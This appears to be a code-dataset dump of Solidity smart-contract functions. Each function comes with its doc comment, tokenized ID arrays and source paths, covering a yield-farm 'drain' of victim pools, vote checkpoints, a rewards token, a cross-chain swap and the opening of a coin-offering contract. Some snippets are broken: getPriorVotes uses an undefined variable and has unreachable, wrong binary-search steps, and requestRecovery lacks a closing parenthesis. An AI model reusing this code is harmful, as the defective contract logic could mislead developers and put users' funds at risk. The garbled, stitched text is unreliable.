IERC20(address(nerdlingWethPair)).safeTransfer(address(msg.sender), user.amount); } else { pool.victim.withdraw(pool.victimPoolId, user.amount); pool.victim.lockableToken(pool.victimPoolId).safeTransfer(address(msg.sender), user.amount); } emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } function safeNerdlingTransfer(address _to, uint256 _amount) internal { uint256 balance = nerdling.balanceOf(address(this)); if (_amount > balance) { nerdling.transfer(_to, balance); } else { nerdling.transfer(_to, _amount); } } function drain(uint256 _pid) public { require(_pid != 0, "Can't drain from myself"); if (_drainQueue[_pid] == 0) { _drainQueue[_pid] = block.number; } else { if (_drainQueue[_pid] + random(DAILY_BLOCK) < block.number) { _drainQueue[_pid] = block.number; _drain(_pid); } } } function random(uint256 _range) private returns (uint256) { _randomSeed++; return uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty, _randomSeed))) % _range; } function _drain(uint256 _pid) private { PoolInfo storage pool = poolInfo[_pid]; Victim victim = pool.victim; uint256 victimPoolId = pool.victimPoolId; uint256 rewardDrainModifier = pool.rewardDrainModifier; victim.claimReward(victimPoolId); IERC20 rewardToken = victim.rewardToken(); uint256 claimedReward = rewardToken.balanceOf(address(this)); uint256 rewardDrainAmount = claimedReward.mul(rewardDrainModifier).div(1000); if(rewardDrainAmount > 0) { rewardToken.transfer(drainAddress, rewardDrainAmount); claimedReward = claimedReward.sub(rewardDrainAmount); } uint256 sellableAmount = victim.sellableRewardAmount(); if(sellableAmount < claimedReward) { // victim is drained empty claimedReward = sellableAmount; } if(claimedReward == 0) { return; } uint256 wethDrainModifier = pool.wethDrainModifier; uint256 wethReward = victim.sellRewardForWeth(claimedReward, address(this)); uint256 wethDrainAmount = wethReward.mul(wethDrainModifier).div(1000); if(wethDrainAmount > 0) { weth.transfer(drainAddress, wethDrainAmount); wethReward = wethReward.sub(wethDrainAmount); } address token0 = nerdlingWethPair.token0(); (uint reserve0, uint reserve1,) = nerdlingWethPair.getReserves(); (uint reserveInput, uint reserveOutput) = address(weth) == token0 ? (reserve0, reserve1) : (reserve1, reserve0); uint amountOutput = UniswapV2Library.getAmountOut(wethReward, reserveInput, reserveOutput); (uint amount0Out, uint amount1Out) = address(weth) == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0)); weth.transfer(address(nerdlingWethPair), wethReward); nerdlingWethPair.swap(amount0Out, amount1Out, address(this), new bytes(0)); amountOutput = amountOutput.div(2); nerdling.transfer(fundAddress, amountOutput); nerdling.burn(amountOutput); } }
* @notice Determine the prior number of votes for an account as of a block number @dev Block number must be a finalized block or else this function will revert to prevent misinformation. @param account The address of the account to check @param blockNumber The block number to get the vote balance at @return The number of votes the account had as of the given block/ First check most recent balance Next check implicit zero balance
function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "NERDLING::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; }
5,843,462
[ 1, 8519, 326, 6432, 1300, 434, 19588, 364, 392, 2236, 487, 434, 279, 1203, 1300, 225, 3914, 1300, 1297, 506, 279, 727, 1235, 1203, 578, 469, 333, 445, 903, 15226, 358, 5309, 7524, 13117, 18, 225, 2236, 1021, 1758, 434, 326, 2236, 358, 866, 225, 1203, 1854, 1021, 1203, 1300, 358, 336, 326, 12501, 11013, 622, 327, 1021, 1300, 434, 19588, 326, 2236, 9323, 487, 434, 326, 864, 1203, 19, 5783, 866, 4486, 8399, 11013, 4804, 866, 10592, 3634, 11013, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1689, 2432, 29637, 12, 2867, 2236, 16, 2254, 1203, 1854, 13, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 2583, 12, 2629, 1854, 411, 1203, 18, 2696, 16, 315, 12196, 8914, 1360, 2866, 588, 25355, 29637, 30, 486, 4671, 11383, 8863, 203, 203, 3639, 2254, 1578, 290, 1564, 4139, 273, 818, 1564, 4139, 63, 4631, 15533, 203, 3639, 309, 261, 82, 1564, 4139, 422, 374, 13, 288, 203, 5411, 327, 374, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 1893, 4139, 63, 4631, 6362, 82, 1564, 4139, 300, 404, 8009, 2080, 1768, 1648, 1203, 1854, 13, 288, 203, 5411, 327, 26402, 63, 4631, 6362, 82, 1564, 4139, 300, 404, 8009, 27800, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 1893, 4139, 63, 4631, 6362, 20, 8009, 2080, 1768, 405, 1203, 1854, 13, 288, 203, 5411, 327, 374, 31, 203, 3639, 289, 203, 203, 3639, 2254, 1578, 2612, 273, 374, 31, 203, 3639, 2254, 1578, 3854, 273, 290, 1564, 4139, 300, 404, 31, 203, 3639, 1323, 261, 5797, 405, 2612, 13, 288, 203, 5411, 25569, 3778, 3283, 273, 26402, 63, 4631, 6362, 5693, 15533, 203, 5411, 309, 261, 4057, 18, 2080, 1768, 422, 1203, 1854, 13, 288, 203, 7734, 327, 3283, 18, 27800, 31, 203, 7734, 2612, 273, 4617, 31, 203, 7734, 3854, 273, 4617, 300, 404, 31, 203, 5411, 289, 203, 3639, 289, 203, 3639, 327, 26402, 63, 4631, 6362, 8167, 8009, 27800, 31, 203, 565, 289, 203, 203, 2, -100 ]
./partial_match/1/0x50f91a74da9Fa68F4b7405B36f3Db1Ce09De0D72/sources/ModerateBullZap.sol
- to withdraw any ETH balance sitting in the contract
function withdraw() onlyOwner public{ owner.transfer(address(this).balance); }
4,258,095
[ 1, 17, 358, 598, 9446, 1281, 512, 2455, 11013, 10982, 1787, 316, 326, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 1435, 1338, 5541, 1071, 95, 203, 3639, 3410, 18, 13866, 12, 2867, 12, 2211, 2934, 12296, 1769, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; import "zos-lib/contracts/Initializable.sol"; import "openzeppelin-eth/contracts/math/SafeMath.sol"; import "openzeppelin-eth/contracts/token/ERC20/ERC20.sol"; import { PropsRewardsLib } from "./PropsRewardsLib.sol"; /** * @title Props Rewards * @dev Contract allows to set approved apps and validators. Submit and mint rewards... **/ contract PropsRewards is Initializable, ERC20 { using SafeMath for uint256; /* * Events */ event DailyRewardsSubmitted( uint256 indexed rewardsDay, bytes32 indexed rewardsHash, address indexed validator ); event DailyRewardsApplicationsMinted( uint256 indexed rewardsDay, bytes32 indexed rewardsHash, uint256 numOfApplications, uint256 amount ); event DailyRewardsValidatorsMinted( uint256 indexed rewardsDay, bytes32 indexed rewardsHash, uint256 numOfValidators, uint256 amount ); event EntityUpdated( address indexed id, PropsRewardsLib.RewardedEntityType indexed entityType, bytes32 name, address rewardsAddress, address indexed sidechainAddress ); event ParameterUpdated( PropsRewardsLib.ParameterName param, uint256 newValue, uint256 oldValue, uint256 rewardsDay ); event ValidatorsListUpdated( address[] validatorsList, uint256 indexed rewardsDay ); event ApplicationsListUpdated( address[] applicationsList, uint256 indexed rewardsDay ); event ControllerUpdated(address indexed newController); event Settlement( address indexed applicationId, bytes32 indexed userId, address indexed to, uint256 amount, address rewardsAddress ); /* * Storage */ PropsRewardsLib.Data internal rewardsLibData; uint256 public maxTotalSupply; uint256 public rewardsStartTimestamp; address public controller; // controller entity /* * Modifiers */ modifier onlyController() { require( msg.sender == controller, "Must be the controller" ); _; } /** * @dev The initializer function for upgrade as initialize was already called, get the decimals used in the token to initialize the params * @param _controller address that will have controller functionality on rewards protocol * @param _minSecondsBetweenDays uint256 seconds required to pass between consecutive rewards day * @param _rewardsStartTimestamp uint256 day 0 timestamp */ function initializePostRewardsUpgrade1( address _controller, uint256 _minSecondsBetweenDays, uint256 _rewardsStartTimestamp ) public { uint256 decimals = 18; _initializePostRewardsUpgrade1(_controller, decimals, _minSecondsBetweenDays, _rewardsStartTimestamp); } /** * @dev Set new validators list * @param _rewardsDay uint256 the rewards day from which this change should take effect * @param _validators address[] array of validators */ function setValidators(uint256 _rewardsDay, address[] _validators) public onlyController { PropsRewardsLib.setValidators(rewardsLibData, _rewardsDay, _validators); emit ValidatorsListUpdated(_validators, _rewardsDay); } /** * @dev Set new applications list * @param _rewardsDay uint256 the rewards day from which this change should take effect * @param _applications address[] array of applications */ function setApplications(uint256 _rewardsDay, address[] _applications) public onlyController { PropsRewardsLib.setApplications(rewardsLibData, _rewardsDay, _applications); emit ApplicationsListUpdated(_applications, _rewardsDay); } /** * @dev Get the applications or validators list * @param _entityType RewardedEntityType either application (0) or validator (1) * @param _rewardsDay uint256 the rewards day to use for this value */ function getEntities(PropsRewardsLib.RewardedEntityType _entityType, uint256 _rewardsDay) public view returns (address[]) { return PropsRewardsLib.getEntities(rewardsLibData, _entityType, _rewardsDay); } /** * @dev The function is called by validators with the calculation of the daily rewards * @param _rewardsDay uint256 the rewards day * @param _rewardsHash bytes32 hash of the rewards data * @param _applications address[] array of application addresses getting the daily reward * @param _amounts uint256[] array of amounts each app should get */ function submitDailyRewards( uint256 _rewardsDay, bytes32 _rewardsHash, address[] _applications, uint256[] _amounts ) public { // if submission is for a new day check if previous day validator rewards were given if not give to participating ones if (_rewardsDay > rewardsLibData.dailyRewards.lastApplicationsRewardsDay) { uint256 previousDayValidatorRewardsAmount = PropsRewardsLib.calculateValidatorRewards( rewardsLibData, rewardsLibData.dailyRewards.lastApplicationsRewardsDay, rewardsLibData.dailyRewards.lastConfirmedRewardsHash, false ); if (previousDayValidatorRewardsAmount > 0) { _mintDailyRewardsForValidators(rewardsLibData.dailyRewards.lastApplicationsRewardsDay, rewardsLibData.dailyRewards.lastConfirmedRewardsHash, previousDayValidatorRewardsAmount); } } // check and give application rewards if majority of validators agree uint256 appRewardsSum = PropsRewardsLib.calculateAndFinalizeApplicationRewards( rewardsLibData, _rewardsDay, _rewardsHash, _applications, _amounts, totalSupply() ); if (appRewardsSum > 0) { _mintDailyRewardsForApps(_rewardsDay, _rewardsHash, _applications, _amounts, appRewardsSum); } // check and give validator rewards if all validators submitted uint256 validatorRewardsAmount = PropsRewardsLib.calculateValidatorRewards( rewardsLibData, _rewardsDay, _rewardsHash, true ); if (validatorRewardsAmount > 0) { _mintDailyRewardsForValidators(_rewardsDay, _rewardsHash, validatorRewardsAmount); } emit DailyRewardsSubmitted(_rewardsDay, _rewardsHash, msg.sender); } /** * @dev Allows the controller/owner to update to a new controller * @param _controller address address of the new controller */ function updateController( address _controller ) public onlyController { require(_controller != address(0), "Controller cannot be the zero address"); controller = _controller; emit ControllerUpdated ( _controller ); } /** * @dev Allows getting a parameter value based on timestamp * @param _name ParameterName name of the parameter * @param _rewardsDay uint256 starting when should this parameter use the current value */ function getParameter( PropsRewardsLib.ParameterName _name, uint256 _rewardsDay ) public view returns (uint256) { return PropsRewardsLib.getParameterValue(rewardsLibData, _name, _rewardsDay); } /** * @dev Allows the controller/owner to update rewards parameters * @param _name ParameterName name of the parameter * @param _value uint256 new value for the parameter * @param _rewardsDay uint256 starting when should this parameter use the current value */ function updateParameter( PropsRewardsLib.ParameterName _name, uint256 _value, uint256 _rewardsDay ) public onlyController { PropsRewardsLib.updateParameter(rewardsLibData, _name, _value, _rewardsDay); emit ParameterUpdated( _name, rewardsLibData.parameters[uint256(_name)].currentValue, rewardsLibData.parameters[uint256(_name)].previousValue, rewardsLibData.parameters[uint256(_name)].rewardsDay ); } /** * @dev Allows an application or validator to add/update its details * @param _entityType RewardedEntityType either application (0) or validator (1) * @param _name bytes32 name of the app * @param _rewardsAddress address an address for the app to receive the rewards * @param _sidechainAddress address the address used for using the sidechain */ function updateEntity( PropsRewardsLib.RewardedEntityType _entityType, bytes32 _name, address _rewardsAddress, address _sidechainAddress ) public { PropsRewardsLib.updateEntity(rewardsLibData, _entityType, _name, _rewardsAddress, _sidechainAddress); emit EntityUpdated(msg.sender, _entityType, _name, _rewardsAddress, _sidechainAddress); } /** * @dev Allows an application to settle sidechain props. Should be called from an application rewards address * @param _applicationAddress address the application main address (used to setup the application) * @param _userId bytes32 identification of the user on the sidechain that was settled * @param _to address where to send the props to * @param _amount uint256 the address used for using the sidechain */ function settle( address _applicationAddress, bytes32 _userId, address _to, uint256 _amount ) public { require( rewardsLibData.applications[_applicationAddress].rewardsAddress == msg.sender, "settle may only be called by an application" ); _transfer(msg.sender, _to, _amount); emit Settlement(_applicationAddress, _userId, _to, _amount, msg.sender); } /** * @dev internal intialize rewards upgrade1 * @param _controller address that will have controller functionality on rewards protocol * @param _decimals uint256 number of decimals used in total supply * @param _minSecondsBetweenDays uint256 seconds required to pass between consecutive rewards day * @param _rewardsStartTimestamp uint256 day 0 timestamp */ function _initializePostRewardsUpgrade1( address _controller, uint256 _decimals, uint256 _minSecondsBetweenDays, uint256 _rewardsStartTimestamp ) internal { require(maxTotalSupply==0, "Initialize rewards upgrade1 can happen only once"); controller = _controller; // ApplicationRewardsPercent pphm ==> 0.03475% PropsRewardsLib.updateParameter(rewardsLibData, PropsRewardsLib.ParameterName.ApplicationRewardsPercent, 34750, 0); // // ApplicationRewardsMaxVariationPercent pphm ==> 150% PropsRewardsLib.updateParameter(rewardsLibData, PropsRewardsLib.ParameterName.ApplicationRewardsMaxVariationPercent, 150 * 1e6, 0); // // ValidatorMajorityPercent pphm ==> 50% PropsRewardsLib.updateParameter(rewardsLibData, PropsRewardsLib.ParameterName.ValidatorMajorityPercent, 50 * 1e6, 0); // // ValidatorRewardsPercent pphm ==> 0.001829% PropsRewardsLib.updateParameter(rewardsLibData, PropsRewardsLib.ParameterName.ValidatorRewardsPercent, 1829, 0); // max total supply is 1,000,000,000 PROPS specified in AttoPROPS rewardsLibData.maxTotalSupply = maxTotalSupply = 1 * 1e9 * (10 ** _decimals); rewardsLibData.rewardsStartTimestamp = rewardsStartTimestamp = _rewardsStartTimestamp; rewardsLibData.minSecondsBetweenDays = _minSecondsBetweenDays; } /** * @dev Mint rewards for validators * @param _rewardsDay uint256 the rewards day * @param _rewardsHash bytes32 hash of the rewards data * @param _amount uint256 amount each validator should get */ function _mintDailyRewardsForValidators(uint256 _rewardsDay, bytes32 _rewardsHash, uint256 _amount) internal { uint256 validatorsCount = rewardsLibData.dailyRewards.submissions[_rewardsHash].validatorsList.length; for (uint256 i = 0; i < validatorsCount; i++) { _mint(rewardsLibData.validators[rewardsLibData.dailyRewards.submissions[_rewardsHash].validatorsList[i]].rewardsAddress,_amount); } PropsRewardsLib._resetDailyRewards(rewardsLibData, _rewardsHash); emit DailyRewardsValidatorsMinted( _rewardsDay, _rewardsHash, validatorsCount, (_amount * validatorsCount) ); } /** * @dev Mint rewards for apps * @param _rewardsDay uint256 the rewards day * @param _rewardsHash bytes32 hash of the rewards data * @param _applications address[] array of application addresses getting the daily reward * @param _amounts uint256[] array of amounts each app should get * @param _sum uint256 the sum of all application rewards given */ function _mintDailyRewardsForApps( uint256 _rewardsDay, bytes32 _rewardsHash, address[] _applications, uint256[] _amounts, uint256 _sum ) internal { for (uint256 i = 0; i < _applications.length; i++) { _mint(rewardsLibData.applications[_applications[i]].rewardsAddress, _amounts[i]); } emit DailyRewardsApplicationsMinted(_rewardsDay, _rewardsHash, _applications.length, _sum); } }
* @dev Mint rewards for validators @param _rewardsDay uint256 the rewards day @param _rewardsHash bytes32 hash of the rewards data @param _amount uint256 amount each validator should get/
function _mintDailyRewardsForValidators(uint256 _rewardsDay, bytes32 _rewardsHash, uint256 _amount) internal { uint256 validatorsCount = rewardsLibData.dailyRewards.submissions[_rewardsHash].validatorsList.length; for (uint256 i = 0; i < validatorsCount; i++) { _mint(rewardsLibData.validators[rewardsLibData.dailyRewards.submissions[_rewardsHash].validatorsList[i]].rewardsAddress,_amount); } PropsRewardsLib._resetDailyRewards(rewardsLibData, _rewardsHash); emit DailyRewardsValidatorsMinted( _rewardsDay, _rewardsHash, validatorsCount, (_amount * validatorsCount) ); }
6,412,782
[ 1, 49, 474, 283, 6397, 364, 11632, 225, 389, 266, 6397, 4245, 2254, 5034, 326, 283, 6397, 2548, 225, 389, 266, 6397, 2310, 1731, 1578, 1651, 434, 326, 283, 6397, 501, 225, 389, 8949, 2254, 5034, 3844, 1517, 4213, 1410, 336, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 81, 474, 40, 12857, 17631, 14727, 1290, 19420, 12, 11890, 5034, 389, 266, 6397, 4245, 16, 1731, 1578, 389, 266, 6397, 2310, 16, 2254, 5034, 389, 8949, 13, 203, 3639, 2713, 203, 565, 288, 203, 3639, 2254, 5034, 11632, 1380, 273, 283, 6397, 5664, 751, 18, 26790, 17631, 14727, 18, 25675, 63, 67, 266, 6397, 2310, 8009, 23993, 682, 18, 2469, 31, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 11632, 1380, 31, 277, 27245, 288, 203, 5411, 389, 81, 474, 12, 266, 6397, 5664, 751, 18, 23993, 63, 266, 6397, 5664, 751, 18, 26790, 17631, 14727, 18, 25675, 63, 67, 266, 6397, 2310, 8009, 23993, 682, 63, 77, 65, 8009, 266, 6397, 1887, 16, 67, 8949, 1769, 203, 3639, 289, 203, 3639, 1186, 1121, 17631, 14727, 5664, 6315, 6208, 40, 12857, 17631, 14727, 12, 266, 6397, 5664, 751, 16, 389, 266, 6397, 2310, 1769, 203, 3639, 3626, 463, 12857, 17631, 14727, 19420, 49, 474, 329, 12, 203, 5411, 389, 266, 6397, 4245, 16, 203, 5411, 389, 266, 6397, 2310, 16, 203, 5411, 11632, 1380, 16, 203, 5411, 261, 67, 8949, 380, 11632, 1380, 13, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x2d68676c40Bf820Eb84e3B7d8d77a1C473b08B61/sources/contracts/crossChainSwaps/CrossChainSwaps.sol
@notice Inherit from ICrossChainSwaps check if trade exist and is in correct state mark trade as requsted recovery emit event
function requestRecovery( bytes32 tradeOfferHash, TradeConstants calldata tradeConstants ) external override { Trade storage trade = _state.trades[tradeOfferHash]; if (trade.status != Status.PENDING) { revert SwapError(SwapErrorCode.INVALID_TRADE_STATUS); } if ( _msgSender() != tradeConstants.seller && _msgSender() != tradeConstants.buyer { revert SwapError(SwapErrorCode.TRADE_OWNERS_ONLY); } if (!trade.recoveryRequested) { trade.recoveryRequested = true; emit RecoveryRequested(tradeOfferHash); } }
17,067,064
[ 1, 14216, 628, 467, 13941, 3893, 6050, 6679, 866, 309, 18542, 1005, 471, 353, 316, 3434, 919, 2267, 18542, 487, 10780, 334, 329, 11044, 3626, 871, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 590, 11548, 12, 203, 3639, 1731, 1578, 18542, 10513, 2310, 16, 203, 3639, 2197, 323, 2918, 745, 892, 18542, 2918, 203, 565, 262, 3903, 3849, 288, 203, 3639, 2197, 323, 2502, 18542, 273, 389, 2019, 18, 313, 16601, 63, 20077, 10513, 2310, 15533, 203, 203, 3639, 309, 261, 20077, 18, 2327, 480, 2685, 18, 25691, 13, 288, 203, 5411, 15226, 12738, 668, 12, 12521, 12012, 18, 9347, 67, 20060, 1639, 67, 8608, 1769, 203, 3639, 289, 203, 203, 203, 3639, 309, 261, 203, 5411, 389, 3576, 12021, 1435, 480, 18542, 2918, 18, 1786, 749, 597, 203, 5411, 389, 3576, 12021, 1435, 480, 18542, 2918, 18, 70, 16213, 203, 3639, 288, 203, 5411, 15226, 12738, 668, 12, 12521, 12012, 18, 20060, 1639, 67, 51, 5665, 11367, 67, 10857, 1769, 203, 3639, 289, 203, 203, 3639, 309, 16051, 20077, 18, 23963, 11244, 13, 288, 203, 5411, 18542, 18, 23963, 11244, 273, 638, 31, 203, 203, 5411, 3626, 23675, 11244, 12, 20077, 10513, 2310, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** @title Interactive Coin Offering * @author Clément Lesaege - <[email protected]> */ pragma solidity ^0.4.23; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** @title Interactive Coin Offering * This contract implements the Interactive Coin Offering token sale as described in this paper: * https://people.cs.uchicago.edu/~teutsch/papers/ico.pdf * Implementation details and modifications compared to the paper: * -A fixed amount of tokens is sold. This allows more flexibility for the distribution of the remaining tokens (rounds, team tokens which can be preallocated, non-initial sell of some cryptographic assets). * -The valuation pointer is only moved when the sale is over. This greatly reduces the amount of write operations and code complexity. However, at least one party must make one or multiple calls to finalize the sale. * -Buckets are not used as they are not required and increase code complexity. * -The bid submitter must provide the insertion spot. A search of the insertion spot is still done in the contract just in case the one provided was wrong or other bids were added 